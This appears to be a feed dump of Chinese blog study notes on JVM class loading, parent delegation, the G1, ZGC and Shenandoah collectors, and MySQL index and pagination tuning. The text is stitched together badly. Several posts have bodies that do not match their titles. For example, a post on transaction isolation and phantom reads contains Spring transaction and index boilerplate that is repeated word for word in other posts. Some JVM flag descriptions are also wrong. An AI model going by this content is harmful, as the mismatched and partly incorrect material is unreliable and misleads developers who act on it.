├── 导入: org.slf4j (版本1.7) -> 共享
├── 导入: com.example.service -> 从A加载
└── 导入: org.apache.commons -> 从C加载

Bundle C (ClassLoader C)
└── 导出: org.apache.commons

实现方式

public class BundleClassLoader extends ClassLoader {
    private Bundle bundle;
    
    @Override
    protected Class<?> loadClass(String name, boolean resolve) 
        throws ClassNotFoundException {
        
        // 1. 检查是否在当前 Bundle 中
        Class<?> clazz = findLocalClass(name);
        if (clazz != null) return clazz;
        
        // 2. 检查 Import-Package，委托给其他 Bundle
        clazz = findImportedClass(name);
        if (clazz != null) return clazz;
        
        // 3. 委托给父加载器
        return super.loadClass(name, resolve);
    }
}

案例4：Spring Boot 的 LaunchedURLClassLoader

需求

Spring Boot 将依赖打包为可执行 fat-jar，需要特殊方式加载嵌套的 jar。

结构

myapp.jar
├── META-INF/
│   └── MANIFEST.MF
├── BOOT-INF/
│   ├── classes/           (应用类)
│   └── lib/
│       ├── spring-core.jar
│       ├── spring-boot.jar
│       └── ...
└── org/springframework/boot/loader/
    └── LaunchedURLClassLoader.class

LaunchedURLClassLoader

public class LaunchedURLClassLoader extends URLClassLoader {
    @Override
    protected Class<?> loadClass(String name, boolean resolve) 
        throws ClassNotFoundException {
        
        // 1. 处理 org.springframework.boot.loader 包（自身）
        if (name.startsWith("org.springframework.boot.loader.")) {
            return findClass(name);
        }
        
        // 2. 其他类先委派（保持双亲委派）
        try {
            return super.loadClass(name, resolve);
        } catch (ClassNotFoundException ex) {
            // 3. 找不到再从 BOOT-INF/classes 和 BOOT-INF/lib 加载
            return findClass(name);
        }
    }
}

特点：

  • 大部分类保持双亲委派
  • 只有特定包和找不到的类才自己加载
  • 支持 jar:file:/path/myapp.jar!/BOOT-INF/lib/spring.jar!/ 这样的 URL

案例5：Java Agent 与字节码增强

需求

在运行时修改类的字节码（如链路追踪、监控）。

Instrumentation 加载

public class MyAgent {
    public static void premain(String args, Instrumentation inst) {
        // Agent 由 -javaagent 指定，通常由 App ClassLoader 加载
        // 但需要修改 Bootstrap 加载的类（如 java.net.URL）
        
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className,
                    Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
                    byte[] classfileBuffer) {
                // 修改字节码
                return modifyByteCode(classfileBuffer);
            }
        });
    }
}

打破方式

Instrumentation 接口允许重新转换由 Bootstrap ClassLoader 加载的类
Agent 的 ClassTransformer 可以修改核心类

打破双亲委派的三种方式

方式案例实现
重写 loadClass()Tomcat、OSGi先自己加载，找不到再委派
线程上下文类加载器JDBC、JNDIThread.setContextClassLoader()
InstrumentationJava AgentJVM 接口修改已加载类

总结

场景打破原因实现方式
JDBC父加载器无法加载子类路径的驱动线程上下文类加载器
TomcatWeb 应用隔离和热部署WebAppClassLoader 先自己加载
OSGi模块版本隔离每个 Bundle 独立类加载器
Spring Boot加载嵌套 jarLaunchedURLClassLoader
Java Agent修改核心类字节码Instrumentation API

双亲委派是 Java 类加载的默认规则，但在框架开发中，根据具体需求打破这一规则是常见且必要的做法。

]]> JVM 学习笔记 JVM 分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 类加载机制与双亲委派模型 //lei-jia-zai-ji-zhi-yu-shuang-qin-wei-pai-mo-xing/ 类加载机制与双亲委派模型

类加载机制是 Java 虚拟机把 Class 文件加载到内存，并对其进行校验、转换解析和初始化的过程。理解这一机制对解决 ClassNotFoundException、NoClassDefFoundError 等问题至关重要。

类加载的时机

类在以下情况下会被加载：

  1. new、getstatic、putstatic、invokestatic 指令
  2. 反射调用
  3. 子类加载时父类先加载
  4. 主类（main 方法所在类）
  5. 动态语言支持（MethodHandle）
  6. 接口 default 方法

类加载的五个阶段

加载 -> 验证 -> 准备 -> 解析 -> 初始化

1. 加载（Loading）

任务：

  1. 通过全限定名获取二进制字节流
  2. 将字节流转化为方法区的运行时数据结构
  3. 生成 java.lang.Class 对象

来源：

  • 本地文件系统（.class）
  • 网络（Applet）
  • ZIP/JAR（classpath）
  • 动态生成（动态代理）
  • 数据库

2. 验证（Verification）

确保 Class 文件的字节流中包含的信息符合 JVM 规范。

├─ 文件格式验证（魔数、版本号）
├─ 元数据验证（是否有父类、是否继承final类）
├─ 字节码验证（类型转换是否合法）
├─ 符号引用验证（是否能找到对应类）

3. 准备（Preparation）

为类变量（static）分配内存并设置初始值。

public class Sample {
    private static int value = 123;  // 准备阶段: value = 0
                                     // 初始化阶段: value = 123
    
    private static final int CONSTANT = 123;  // 准备阶段: CONSTANT = 123
}

注意：final static 常量在准备阶段就赋值为最终值。

4. 解析（Resolution）

将常量池中的符号引用替换为直接引用。

// 符号引用
String className = "java.lang.String";

// 直接引用
Class<?> clazz = Class.forName(className);  // 内存地址

5. 初始化（Initialization）

执行 <clinit>() 方法（类构造器）。

public class InitOrder {
    private static int a = 1;           // (1)
    
    static {                             // (2)
        b = 2;
    }
    
    private static int b = 3;           // (3) 最终b=3
    
    // <clinit>() 执行顺序: (1) -> (2) -> (3)
}

注意：

  • <clinit>() 由编译器自动收集所有 static 变量和 static 块
  • 子类的 <clinit>() 执行前，父类的 <clinit>() 先执行
  • 接口也有 <clinit>()，但实现类初始化时不会触发

类加载器

三层类加载器

┌─────────────────────────────────────┐
│        Bootstrap ClassLoader        │  (C++实现，加载<JAVA_HOME>/lib)
├─────────────────────────────────────┤
│      Extension ClassLoader          │  (加载<JAVA_HOME>/lib/ext)
├─────────────────────────────────────┤
│      Application ClassLoader        │  (加载classpath)
├─────────────────────────────────────┤
│        User ClassLoader             │  (自定义)
└─────────────────────────────────────┘

各加载器的职责

加载器实现语言加载路径父加载器
BootstrapC++<JAVA_HOME>/lib无
ExtensionJava<JAVA_HOME>/lib/extBootstrap
ApplicationJavaclasspathExtension
// 获取类加载器
ClassLoader appLoader = ClassLoader.getSystemClassLoader();
ClassLoader extLoader = appLoader.getParent();
ClassLoader bootstrapLoader = extLoader.getParent();  // null

双亲委派模型

工作流程

类加载请求
    |
    v
Custom ClassLoader
    | 不处理，委派给父加载器
    v
App ClassLoader
    | 不处理，委派给父加载器
    v
Ext ClassLoader
    | 不处理，委派给父加载器
    v
Bootstrap ClassLoader
    | 尝试加载
    ├─ 成功 -> 返回Class对象
    └─ 失败 -> 子加载器尝试
         v
    Ext ClassLoader -> App -> Custom

源码实现

protected Class<?> loadClass(String name, boolean resolve) 
    throws ClassNotFoundException {
    
    synchronized (getClassLoadingLock(name)) {
        // 1. 检查是否已加载
        Class<?> c = findLoadedClass(name);
        
        if (c == null) {
            // 2. 委派父加载器
            if (parent != null) {
                c = parent.loadClass(name, false);
            } else {
                c = findBootstrapClassOrNull(name);
            }
            
            // 3. 父加载器无法加载，自己加载
            if (c == null) {
                c = findClass(name);
            }
        }
        
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
}

双亲委派的好处

  1. 避免类的重复加载：先检查是否已加载
  2. 保证扩展性：父加载器加载的类对子加载器可见
  3. 保证安全性：核心类（String、Object）由 Bootstrap 加载，防止篡改
// 如果没有双亲委派，可以自定义恶意String
package java.lang;

public class String {
    // 恶意代码...
}

打破双亲委派

1. 线程上下文类加载器

// JDBC 例子：DriverManager 由 Bootstrap 加载
// 但具体驱动实现由 App ClassLoader 加载

// 获取线程上下文类加载器
ClassLoader contextLoader = Thread.currentThread().getContextClassLoader();

// ServiceLoader 使用上下文类加载器加载实现类
ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);

原理：Bootstrap 加载的类可以通过 Thread.currentThread().getContextClassLoader() 委派给子加载器。

2. OSGi / 热部署

// 自定义类加载器，先自己加载，找不到再委派
public class HotSwapClassLoader extends ClassLoader {
    @Override
    protected Class<?> loadClass(String name, boolean resolve) 
        throws ClassNotFoundException {
        
        // 先自己尝试加载
        Class<?> clazz = findClass(name);
        if (clazz != null) {
            return clazz;
        }
        
        // 找不到再委派
        return super.loadClass(name, resolve);
    }
}

3. Tomcat 的类加载器

Common ClassLoader
    ├── Catalina ClassLoader（Tomcat自身）
    └── Shared ClassLoader
            └── WebApp ClassLoader（Web应用，先自己加载）

Tomcat 为每个 Web 应用创建独立的类加载器，实现应用隔离和热部署。

自定义类加载器

应用场景

  1. 热部署：不重启 JVM 更新类
  2. 类隔离：不同版本共存
  3. 加密保护：解密后加载
  4. 从网络/数据库加载

简单实现

public class CustomClassLoader extends ClassLoader {
    private String classPath;
    
    public CustomClassLoader(String classPath) {
        this.classPath = classPath;
    }
    
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        // 1. 读取class文件
        byte[] classData = loadClassData(name);
        
        // 2. 定义类
        return defineClass(name, classData, 0, classData.length);
    }
    
    private byte[] loadClassData(String name) {
        // 从自定义路径加载class文件
        String path = classPath + File.separatorChar 
            + name.replace('.', File.separatorChar) + ".class";
        try (InputStream is = new FileInputStream(path);
             ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
            int bufferSize = 1024;
            byte[] buffer = new byte[bufferSize];
            int length;
            while ((length = is.read(buffer)) != -1) {
                baos.write(buffer, 0, length);
            }
            return baos.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

常见异常

异常原因解决
ClassNotFoundException类路径错误检查 classpath
NoClassDefFoundError编译时有，运行时缺失检查依赖包
ClassCastException不同类加载器加载同一类统一类加载器
LinkageError重复定义类检查类加载逻辑

总结

概念要点
加载过程加载->验证->准备->解析->初始化
双亲委派委派给父加载器，父无法加载才自己加载
好处避免重复加载、保证安全性
打破场景JDBC、OSGi、Tomcat、热部署
自定义继承ClassLoader，重写findClass

类加载机制是 Java 平台无关性和安全性的基石，也是实现模块化、热部署等技术的基础。

]]> JVM 学习笔记 JVM ZGC与Shenandoah低延迟GC //zgc-yu-shenandoah-di-yan-chi-gc/ ZGC与Shenandoah低延迟GC

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

设计目标

收集器目标停顿时间最大堆内存JDK版本
G1~200ms数十GB9+
ZGC<10msTB级11+ (15正式)
Shenandoah<10msTB级12+ (OpenJDK)

ZGC 核心原理

#

着色指针（Colored Pointers）

64位指针结构（使用42~45位）：
├─ 41位：对象地址（4TB堆）
├─ 4位：元数据
│  ├── Finalizable
│  ├── Remapped
│  ├── Marked1
│  └── Marked0
└─ 17位：保留

指针值：0x0001_2345_6789_ABCD
              ││││
              │││└─ Marked0
              ││└── Marked1
              │└─── Remapped
              └──── Finalizable

作用：直接在指针中存储状态信息，避免访问对象头。

#

读屏障（Load Barrier）

// 访问对象时触发
Object obj = field.x;  // 读操作

// 读屏障检查指针状态
if (指针需要重映射) {
    修正指针;
}

#

并发整理

阶段1：并发标记
   - 标记存活对象（通过着色指针）
   - 与用户线程并发

阶段2：并发重定位准备
   - 选择需要整理的Region
   - 计算新地址

阶段3：并发重定位
   - 复制对象到新地址
   - 更新指针（Remapped标志）
   - 通过读屏障修正旧引用

关键：ZGC 在重定位期间，旧对象和新对象同时存在，读屏障确保访问正确的对象。

#

ZGC 参数

-XX:+UseZGC                    # 启用ZGC
-XX:+ZGenerational              # 启用分代ZGC（JDK 21+）
-XX:MaxGCPauseMillis=10        # 目标停顿时间
-XX:ZCollectionInterval=5      # 强制GC间隔（秒）
-XX:ZAllocationSpikeTolerance=2 # 分配速率容忍度

Shenandoah 核心原理

#

Brooks Pointer

对象头结构：
┌─────────────────┐
│ Brooks Pointer  │  指向对象自身或新副本
├─────────────────┤
│ Mark Word       │
├─────────────────┤
│ Class Pointer   │
├─────────────────┤
│ 实例数据         │
└─────────────────┘

作用：通过对象头中的 Brooks Pointer 实现并发复制。

#

回收阶段

1. Init Mark（初始标记）    - STW，标记GC Roots
2. Concurrent Mark（并发标记）- 遍历标记存活对象
3. Final Mark（最终标记）    - STW，处理SATB队列
4. Concurrent Cleanup（并发清理）- 回收垃圾Region
5. Concurrent Evacuation（并发复制）- 复制存活对象
6. Init Update Refs（初始更新引用）- STW，更新GC Roots
7. Concurrent Update Refs（并发更新引用）- 更新堆内引用
8. Final Update Refs（最终更新引用）- STW，完成引用更新

#

Shenandoah 参数

-XX:+UseShenandoahGC           # 启用Shenandoah
-XX:ShenandoahGCHeuristics=adaptive  # 自适应策略
-XX:+ShenandoahPacing          # 分配 pacing（防止分配过快）

ZGC vs Shenandoah

特性ZGCShenandoah
厂商Oracle JDK / OpenJDKOpenJDK（Red Hat）
核心技术着色指针 + 读屏障Brooks Pointer + 读屏障
停顿时间<10ms<10ms
吞吐量~15%下降~15%下降
内存占用较高（多映射）较高（Brooks Pointer）
平台支持Linux/x64, Linux/AArch64, Windows/macOS（JDK 14+）全平台
分代收集JDK 21+ 支持不支持

适用场景

#

1. 超大堆内存

# 100GB 堆内存
-Xms100g -Xmx100g -XX:+UseZGC

传统 GC 在大堆下停顿时间会达到秒级，ZGC/Shenandoah 保持毫秒级。

#

2. 低延迟交易系统

# 金融交易，要求99.9%请求<10ms
-XX:+UseZGC -XX:MaxGCPauseMillis=5

#

3. 交互式应用

# 游戏服务器、实时通信
-XX:+UseShenandoahGC

性能对比

测试环境：32核, 128GB内存, JDK 17

G1:    平均停顿 150ms, 最大停顿 500ms, 吞吐量 95%
ZGC:   平均停顿 1ms,   最大停顿 5ms,   吞吐量 85%
Shenandoah: 平均停顿 2ms, 最大停顿 8ms, 吞吐量 87%

使用建议

场景推荐
堆 < 6GBG1
6GB < 堆 < 100GB，延迟敏感ZGC / Shenandoah
堆 > 100GBZGC
使用 Oracle JDKZGC
使用 OpenJDK两者均可
JDK 8/11G1（ZGC实验性）
JDK 17+ZGC / Shenandoah（生产可用）
JDK 21+分代ZGC（推荐）

监控

# ZGC 日志
-Xlog:gc*:file=zgc.log:time,level,tags

# 关键指标
# ZGC Cycles: GC周期数
# ZGC Pauses: 停顿时间
# ZGC Heap: 堆使用情况

总结

ZGC 和 Shenandoah 代表了 JVM 垃圾回收的发展方向：

  • 并发化：更多阶段与用户线程并发
  • 细粒度：Region 化、着色指针等技术
  • 可扩展：支持 TB 级堆内存

随着 JDK 版本迭代，ZGC 和 Shenandoah 越来越成熟。对于延迟敏感型应用，JDK 17+ 环境下可以大胆使用。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM 学习笔记 JVM 慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 慢 SQL 排查和优化完整流程

慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 事务隔离级别和幻读问题 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ MySQL 事务隔离级别和幻读问题

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 G1垃圾收集器原理与调优 //g1-la-ji-shou-ji-qi-yuan-li-yu-diao-you/ G1垃圾收集器原理与调优

G1（Garbage First）是 JDK 9+ 的默认垃圾收集器，设计目标是替代 CMS，在可预测的停顿时间内获得最高吞吐量。

G1 的设计目标

  1. 可预测的停顿时间：设置目标停顿时间，G1 尽量遵守
  2. 高吞吐量：整体吞吐量不低于 CMS
  3. 无内存碎片：采用复制算法，整理内存

Region 化的堆结构

┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐
│ E  │ S  │ O  │ O  │ H  │ E  │ S  │ O  │ E  │ O  │
└────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘

E = Eden Region（年轻代）
S = Survivor Region
O = Old Region（老年代）
H = Humongous Region（大对象，占连续多个Region）

Region大小：1MB, 2MB, 4MB, 8MB, 16MB, 32MB

大对象处理：

  • 对象 > 0.5 Region：放入 Humongous Region
  • 对象 > 1 Region：占用连续多个 Humongous Region
  • Humongous Region 直接分配在老年代

核心数据结构

Remembered Set（记忆集）

每个Region维护一个RSet，记录哪些Region引用了本Region的对象

Region A (Old)
├── RSet: [Region B, Region C]
│     └── Region B (Eden) 引用了 A 中的对象
│     └── Region C (Old)   引用了 A 中的对象

作用：避免全堆扫描，Minor GC 时只需扫描相关 Region。

Collection Set（CSet）

每次 GC 选择的一组 Region，是需要被回收的候选区域。

G1 的回收过程

Young GC

阶段1：选择所有 Eden + Survivor Region 进入 CSet
阶段2：复制存活对象到新的 Survivor / Old Region
阶段3：清空回收的 Region

Eden Region × 10 + Survivor Region × 2
         ↓
    复制存活对象
         ↓
Survivor Region × 1（或晋升到 Old）

特点：

  • 完全 stop-the-world
  • 多线程并行复制
  • 目标是尽快完成

Concurrent Marking Cycle（并发标记周期）

当堆内存使用率达到阈值时触发：

1. Initial Mark（初始标记）

STW，标记 GC Roots 直接引用的对象
依附于 Young GC，几乎无额外开销

2. Root Region Scanning（根区域扫描）

扫描 Survivor Region 中引用老年代的对象
并发执行，必须在 Young GC 前完成

3. Concurrent Mark（并发标记）

从 GC Roots 开始遍历整个堆，标记存活对象
与用户线程并发执行
使用 SATB（Snapshot-At-The-Beginning）算法

SATB 算法：

  • 标记开始时做一个快照
  • 并发期间新分配的对象默认存活
  • 通过 write barrier 记录引用变化

4. Remark（重新标记）

STW，处理 SATB 队列中的引用变化
比 CMS 的重新标记快（SATB 比 Incremental Update 高效）

5. Cleanup（清理）

STW，统计存活对象，识别完全空闲的 Region
并发清理空闲 Region

Mixed GC

并发标记完成后，G1 知道哪些 Region 垃圾最多，开始 Mixed GC：

回收策略：
1. 所有 Eden Region（必须回收）
2. 所有 Survivor Region（必须回收）
3. 部分垃圾最多的 Old Region（根据停顿目标选择数量）

目标：在 MaxGCPauseMillis 内回收尽可能多的垃圾

关键参数

基本参数

# 启用G1
-XX:+UseG1GC

# 目标最大停顿时间（默认200ms）
-XX:MaxGCPauseMillis=200

# Region大小（默认根据堆大小计算）
-XX:G1HeapRegionSize=16m

# 触发并发标记的堆占用率（默认45%）
-XX:InitiatingHeapOccupancyPercent=45

进阶参数

# 年轻代大小（G1会自动调整，不建议手动设置）
# -Xmn 或 -XX:NewRatio 不推荐与G1一起使用

# 保留多少空闲Region（默认10%）
-XX:G1ReservePercent=10

# 并发线程数
-XX:ConcGCThreads=4

# 并行线程数
-XX:ParallelGCThreads=8

# 每个Region的 Remembered Set 占用空间（默认5%）
-XX:G1RSetUpdatingPauseTimePercent=5

# 大对象阈值（Region大小的百分比，默认50%）
-XX:G1HeapWastePercent=5

# 触发Mixed GC的阈值（默认老年代占比45%）
-XX:G1MixedGCCountTarget=8
-XX:G1MixedGCLiveThresholdPercent=85

调优策略

1. 调整停顿时间目标

# 如果 GC 频繁但停顿短
-XX:MaxGCPauseMillis=100

# 如果 GC 次数少但停顿长
-XX:MaxGCPauseMillis=500

注意：停顿时间和吞吐量是反比关系，需要平衡。

2. 避免大对象

// 大对象直接进入Humongous Region，难以回收
byte[] hugeArray = new byte[100 * 1024 * 1024];  // 100MB

// 解决方案：拆分为小对象或复用缓冲区

3. 监控指标

# 打印GC日志
-XX:+PrintGCDetails
-XX:+PrintGCDateStamps
-Xloggc:/path/to/gc.log

# JDK 9+ 统一日志
-Xlog:gc*:file=/path/to/gc.log:time,uptime,level,tags

4. 常见问题

Evacuation Failure（晋升失败）

日志：to-space exhausted
原因：复制存活对象时，Survivor/Old 空间不足
解决：
- 增大堆内存
- 降低 MaxGCPauseMillis（回收更多Region）
- 提前触发并发标记（降低 IHOP）

Humongous Allocation Failure

日志：G1 Humongous Allocation
原因：大对象分配失败
解决：
- 避免大对象
- 增大Region大小
- 增大堆内存

G1 vs CMS

特性G1CMS
算法复制+整理标记-清除
碎片无有
停顿时间可预测较短但不可预测
内存占用较高（RSet）较低
大对象Region化直接入Old
调优复杂度简单复杂
推荐版本JDK 9+JDK 8 及之前

生产环境配置示例

# 16GB 堆内存，目标停顿 200ms
java \
  -Xms16g -Xmx16g \
  -XX:+UseG1GC \
  -XX:MaxGCPauseMillis=200 \
  -XX:InitiatingHeapOccupancyPercent=35 \
  -XX:+PrintGCDetails \
  -XX:+PrintGCDateStamps \
  -Xloggc:/var/log/app/gc.log \
  -jar application.jar

总结

G1 通过 Region 化和 Remembered Set，实现了：

  1. 可预测的停顿时间：控制每次回收的 Region 数量
  2. 无内存碎片：复制算法整理内存
  3. 高并发友好：多数阶段与用户线程并发

对于大多数现代 Java 应用，G1 是首选收集器。调优的核心是找到停顿时间和吞吐量的最佳平衡点。

]]> JVM 学习笔记 JVM EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 垃圾回收算法与收集器对比 //la-ji-hui-shou-suan-fa-yu-shou-ji-qi-dui-bi/ 垃圾回收算法与收集器对比

垃圾回收（GC）是 JVM 自动管理内存的核心机制。理解各种 GC 算法和收集器，是 JVM 调优的基础。

判断对象是否存活

引用计数法

对象A (ref_count=2) <-- 对象B引用
                 <-- 对象C引用

缺点：无法解决循环引用问题。

可达性分析（JVM采用）

GC Roots
├── 虚拟机栈中的本地变量
├── 方法区中静态属性引用的对象
├── 方法区中常量引用的对象
├── 本地方法栈中JNI引用的对象
└── 所有被同步锁持有的对象

从GC Roots开始向下搜索，不可达的对象可被回收

垃圾回收算法

1. 标记-清除（Mark-Sweep）

阶段1：标记所有存活对象
┌─────────────────┐
│ ██  ░░  ██  ░░  │  ██=存活  ░░=垃圾
└─────────────────┘

阶段2：清除垃圾对象
┌─────────────────┐
│ ██      ██      │  产生内存碎片
└─────────────────┘

优点：简单
缺点：产生内存碎片，分配大对象时可能失败

2. 复制（Copying）

阶段1：将存活对象复制到另一块内存
From空间              To空间
┌──────────┐        ┌──────────┐
│ ██  ░░   │   -->  │ ██  ██   │
│ ██  ░░   │        │          │
└──────────┘        └──────────┘

阶段2：清空From空间，交换角色

优点：无碎片，效率高
缺点：内存利用率只有 50%

3. 标记-整理（Mark-Compact）

阶段1：标记存活对象
┌─────────────────┐
│ ██  ░░  ██  ░░  │
└─────────────────┘

阶段2：将存活对象向一端移动
┌─────────────────┐
│ ██  ██          │  无碎片
└─────────────────┘

优点：无碎片，内存利用率高
缺点：移动对象需要更新引用，停顿时间较长

垃圾收集器

1. Serial 收集器

单线程：
┌────────┬────────┬────────┐
│ 工作   │  GC    │  工作   │
└────────┴────────┴────────┘
       Stop The World
  • 新生代：复制算法
  • 老年代：Serial Old（标记-整理）
  • 特点：单线程，简单高效
  • 适用：客户端模式、内存小的场景
-XX:+UseSerialGC

2. ParNew 收集器

Serial 的多线程版本，唯一能与 CMS 配合的新生代收集器。

-XX:+UseParNewGC
-XX:ParallelGCThreads=4

3. Parallel Scavenge 收集器

目标：达到可控的吞吐量。

吞吐量 = 运行用户代码时间 / (运行用户代码时间 + GC时间)
-XX:+UseParallelGC           # 使用Parallel Scavenge + Parallel Old
-XX:MaxGCPauseMillis=200     # 最大GC停顿时间
-XX:GCTimeRatio=99           # 吞吐量 = 99 / (1 + 99) = 99%
-XX:+UseAdaptiveSizePolicy   # 自适应调节策略

适用：后台计算型任务。

4. CMS 收集器（Concurrent Mark Sweep）

目标：最短停顿时间。

阶段1：初始标记（STW，很快）
阶段2：并发标记（与用户线程并发）
阶段3：重新标记（STW，比初始标记长）
阶段4：并发清除（与用户线程并发）

┌────┬──────────────────┬────┬──────────────────┐
│STW │     并发标记      │STW│     并发清除      │
└────┴──────────────────┴────┴──────────────────┘

优点：低停顿
缺点：

  • 内存碎片（Mark-Sweep）
  • 对 CPU 资源敏感
  • 无法处理浮动垃圾（Concurrent Mode Failure）
-XX:+UseConcMarkSweepGC
-XX:CMSInitiatingOccupancyFraction=70  # 老年代70%时触发CMS
-XX:+UseCMSCompactAtFullCollection      # Full GC时压缩

5. G1 收集器（Garbage First）

JDK 9 后的默认收集器。

设计思想

┌────┬────┬────┬────┬────┬────┬────┬────┐
│ E  │ S  │ O  │ H  │ O  │ E  │ S  │ O  │  Region（1~32MB）
└────┴────┴────┴────┴────┴────┴────┴────┘

E=Eden, S=Survivor, O=Old, H=Humongous(大对象)
  • 将堆划分为多个 Region
  • 优先回收垃圾最多的 Region（Garbage First）

回收过程

Young GC：
┌────┬────┬────┬────┬────┬────┬────┬────┐
│ E  │ E  │ E  │    │    │    │    │    │  回收Eden Region
└────┴────┴────┴────┴────┴────┴────┴────┘
         ↓
┌────┬────┬────┬────┬────┬────┬────┬────┐
│ S  │    │    │ O  │    │    │    │    │  存活对象->Survivor/Old
└────┴────┴────┴────┴────┴────┴────┴────┘

Mixed GC（并发标记后）：
回收年轻代 + 部分老年代Region

参数

